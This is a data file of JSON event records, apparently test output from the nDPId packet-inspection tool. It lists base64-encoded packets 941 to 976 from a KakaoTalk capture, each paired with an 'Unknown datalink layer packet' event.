+00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":941,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":748786,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHBH+HgHJAa4KGFK8WgYoHABIXh+AbE+EizywWguGVRkfN5oqiBODmGFjT68g15qfMPxx3wjsP+7f65qMwitjmciYt8uZNnO8QtYNJdRBNbIbWJKA"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":941,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00475{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":942,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":764655,"pkt_caplen":128,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":128,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHAAAEAAQBHaMgoYUrwByQGuKBxaBgBca8GAbDINfqwdQ1SapdrAMg5utnhMZ9lihZsiGIjFJAgg89wKKl9eGaAOyHLIY675QLdttHF3KJ65ZExVaNYYieKdbWUSc2CIRAoBSEN5mJKy9HH7Koc="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":942,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":943,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":779486,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJSvuAbE+Fizy0GguGVRmSqPKPMqh1YheZS2bPWOB\/TSw9KsPkXkoyzwS2EqYwM3q+IY9VYgLdSICbDjKm24ZC3DnmmA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":943,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":944,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":812903,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAPxHbRwoYUrwByQGuLDhaBABH4lmAbE+Hizy7mguGVRlh7N+L4uwr+uq\/EfII2Omxf91eeB1qeO804+QPIn9qqb9Dx5QzrDKsVEl7z7YwVWs8yF8="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":944,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00441{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":945,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":813117,"pkt_caplen":102,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":102,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFYAAEAAPxHbTAoYUrwByQGuLDhaBABCQS2AbE+Iizy\/WguGVRnUqnCYe7V7JOOqUvaVfUCHL3AV2qSLE6QiQ8\/x6OirggMqHU8wa6pR6wqyePby"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":945,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00484{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":946,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":839362,"pkt_caplen":133,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":133,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHUAAEAAHRH9BQHJAa4KGFK8WgQsOABhvRiAbDILfqwVw1SapdrOZ\/hNfPRFl7pjboQ9kxfaUNjRNhl5IDkq40Y0SGt7v+jBag1Lg9BFKwu40o90iFT73RYqs419FxQhwz1a4Xn3NH5W8Y6eU9LCG0N0tQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":946,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00480{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":947,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":857489,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHIAAEAAQBHaMAoYUrwByQGuKBxaBgBet4WAbDIOfqwhA1SapdrNI\/CRNo0b1o+JXYqUJRN+CWScpHyxU0rKzQ5hNOVRUfb9g8AZInh+s6vJGbLzqkOPIpuvqbv7nk7BNxBSGuo8yx6wYSrie8QDjQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":947,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":948,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":879340,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFkAAEAAHBH+IQHJAa4KGFK8WgYoHABFtJeAbE+Gizy32guGVRlb3c3s0gGReeTV7TBucUsXIef3lQe8\/1AMHFFsRU6QtK3hBRT0Sw+6LQY35YMFIN7I"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":948,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00472{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":949,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":902564,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAG0AAEAAQBHaNQoYUrwByQGuKBxaBgBZJa+AbDIPfqwkw1SapdrcKXt8Z76DBwbJJn8cUvGeqOZdX8BLG\/C2j8dyUBl3vWb5sp8wkt6+83xO7jCCBwDsGaRUWi81ubsm2mOIKKv9sgtf02I="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":949,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":950,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":912085,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAPxHbSQoYUrwByQGuLDhaBABFMneAbE+JizzDGguGVRn05W6SLgEws4iRxgAT6ZA7LN5Hfx8yKex6YknCF0qh9xwgnU2nZzpGC6L8AHIQ1+OL"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":950,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":951,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":912207,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/YYqAbE+KizzG2guGVRmOEx8A7Jj06okUUTHzTqUF2+YDVhivOFcXPaU4tLgsewBM2rZST0wQdi92"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":951,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00477{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":952,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":931281,"pkt_caplen":129,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":129,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHEAAEAAHRH9CQHJAa4KGFK8WgQsOABd4CuAbDIMfqwZg1SapdqdJhSrjpycwIGyWMXh7KfrvOrAcoJkpdc7HWVXdrOC84lUhrjI7XA2pC3MdlX+1BIb64kfo\/Giu6XUmZx+x\/GIu+tcksKMp8Nw"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":952,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00475{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":953,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":939460,"pkt_caplen":128,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":128,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHAAAEAAHRH9CgHJAa4KGFK8WgQsOABcZ6eAbDINfqwdQ1SapdrAMg5utnhMZ9lihZsiGIjFJAgg89wKKl9eGaAOyHLIY675QLdttHF3KJ65ZExVaNYYieKdbWUSc2CIRAoBSEN5mJKy9HH7Koc="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":953,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":954,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":944159,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAQBHaSQoYUrwByQGuKBxaBgBFhKSAbDIQfqwog1SapdpDRzEOEZ8SGxkRPHWgbjeynlul34y35hn31R4Ah+xIsBxwm4Cd+z1utgCbUj5hTOtx"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":954,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":955,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":969916,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHBH+HwHJAa4KGFK8WgYoHABH5nOAbE+Hizy7mguGVRlh7N+L4uwr+uq\/EfII2Omxf91eeB1qeO804+QPIn9qqb9Dx5QzrDKsVEl7z7YwVWs8yF8="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":955,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00441{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":956,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":991584,"pkt_caplen":102,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":102,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFYAAEAAHBH+JAHJAa4KGFK8WgYoHABCRUeAbE+Iizy\/WguGVRnUqnCYe7V7JOOqUvaVfUCHL3AV2qSLE6QiQ8\/x6OirggMqHU8wa6pR6wqyePby"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":956,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":957,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":12610,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/x6+AbE+LizzKmguGVRmcq4gIFf4gtqurzx5zamEzp1hEZBU+ASJIcYk6el\/wZuAwm0yBIvWdUSye"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":957,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":958,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":21338,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/aSiAbDIRfqwsQ1SapdqBrWeT5XfBEK9q\/p0y+5eEH170vJxjOybzNiSx8Sin67bQf7eGXR9QEc7J"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":958,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00479{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":959,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":31562,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHIAAEAAHRH9CAHJAa4KGFK8WgQsOABes2uAbDIOfqwhA1SapdrNI\/CRNo0b1o+JXYqUJRN+CWScpHyxU0rKzQ5hNOVRUfb9g8AZInh+s6vJGbLzqkOPIpuvqbv7nk7BNxBSGuo8yx6wYSrie8QDjQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":959,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":960,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":58234,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/u5+AbDISfqwwA1Sapdp8yWK\/5le6YUf4a4w1+rVxqDLeH1QCL1n0TZtrTfIGjl30TjBtO9C+BYYJ"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":960,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00471{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":961,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":67725,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAG0AAEAAHRH9DQHJAa4KGFK8WgQsOABZIZWAbDIPfqwkw1SapdrcKXt8Z76DBwbJJn8cUvGeqOZdX8BLG\/C2j8dyUBl3vWb5sp8wkt6+83xO7jCCBwDsGaRUWi81ubsm2mOIKKv9sgtf02I="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":961,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00442{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":962,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":91437,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFkAAEAAHBH+IQHJAa4KGFK8WgYoHABFNpGAbE+JizzDGguGVRn05W6SLgEws4iRxgAT6ZA7LN5Hfx8yKex6YknCF0qh9xwgnU2nZzpGC6L8AHIQ1+OL"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":962,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":963,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":109442,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/M3KAbE+MizzOWguGVRnEP2aOfkc4yDgGcDNoYy3ljhxvvAuK5BmtvPwxaxavC2vR7EtmqLGV2P1A"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":963,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":964,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":109534,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/8wKAbE+NizzSGguGVRl2bclfZ0MBUX8Mwkygk+rV7yj4iMwczdJTVKJe7WALliNfdUHsdiGTBNsH"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":964,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":965,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":135565,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/ZaSAbE+KizzG2guGVRmOEx8A7Jj06okUUTHzTqUF2+YDVhivOFcXPaU4tLgsewBM2rZST0wQdi92"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":965,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":966,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":143470,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFkAAEAAHRH9IQHJAa4KGFK8WgQsOABFgIqAbDIQfqwog1SapdpDRzEOEZ8SGxkRPHWgbjeynlul34y35hn31R4Ah+xIsBxwm4Cd+z1utgCbUj5hTOtx"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":966,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":967,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":145941,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/uSGAbDITfqwzw1Sapdpk3IxLINwn8W3A2IkcwV0+JTA9AXCXDO7aYVSj7VTEVxGpMdeutvXerr6z"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":967,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":968,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":147559,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/y8mAbE+LizzKmguGVRmcq4gIFf4gtqurzx5zamEzp1hEZBU+ASJIcYk6el\/wZuAwm0yBIvWdUSye"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":968,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":969,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":179572,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/ZQ6AbDIRfqwsQ1SapdqBrWeT5XfBEK9q\/p0y+5eEH170vJxjOybzNiSx8Sin67bQf7eGXR9QEc7J"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":969,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":970,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":185706,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/TWGAbDIUfqw3g1SapdrQvL5+D2Uv3GlrW5rzqS1pTb92f99Nspk51XEcoH9zRmKkE4rdaAoFamvb"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":970,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":971,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":199378,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/t4WAbDISfqwwA1Sapdp8yWK\/5le6YUf4a4w1+rVxqDLeH1QCL1n0TZtrTfIGjl30TjBtO9C+BYYJ"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":971,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":972,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":207160,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/f3aAbE+OizzV2guGVRlj1jO6DEBenGiMZgJtrl4AVaADz+MynY\/\/zOpSdwvDK6i945SQ5YxFqg8Z"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":972,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":973,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":208380,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/5M+AbE+PizzZmguGVRkzG9squL1OeXVvnwol4HhQADkz2MNuxZ9AYOZT6Jw+9WyCHbmad0Mj00GQ"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":973,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":974,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":257910,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/VouAbDIVfqw7Q1SapdorSS25\/wYLMgq7ZN7NQvEgkE8xtEsrB4W5IRZcBj4OLrDnRihGLshG9zTZ"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":974,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":975,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":259497,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/N4yAbE+MizzOWguGVRnEP2aOfkc4yDgGcDNoYy3ljhxvvAuK5BmtvPwxaxavC2vR7EtmqLGV2P1A"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":975,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":976,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069184,"pkt_ts_usec":279395,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/9xyAbE+NizzSGguGVRl2bclfZ0MBUX8Mwkygk+rV7yj4iMwczdJTVKJe7WALliNfdUHsdiGTBNsH"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":976,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 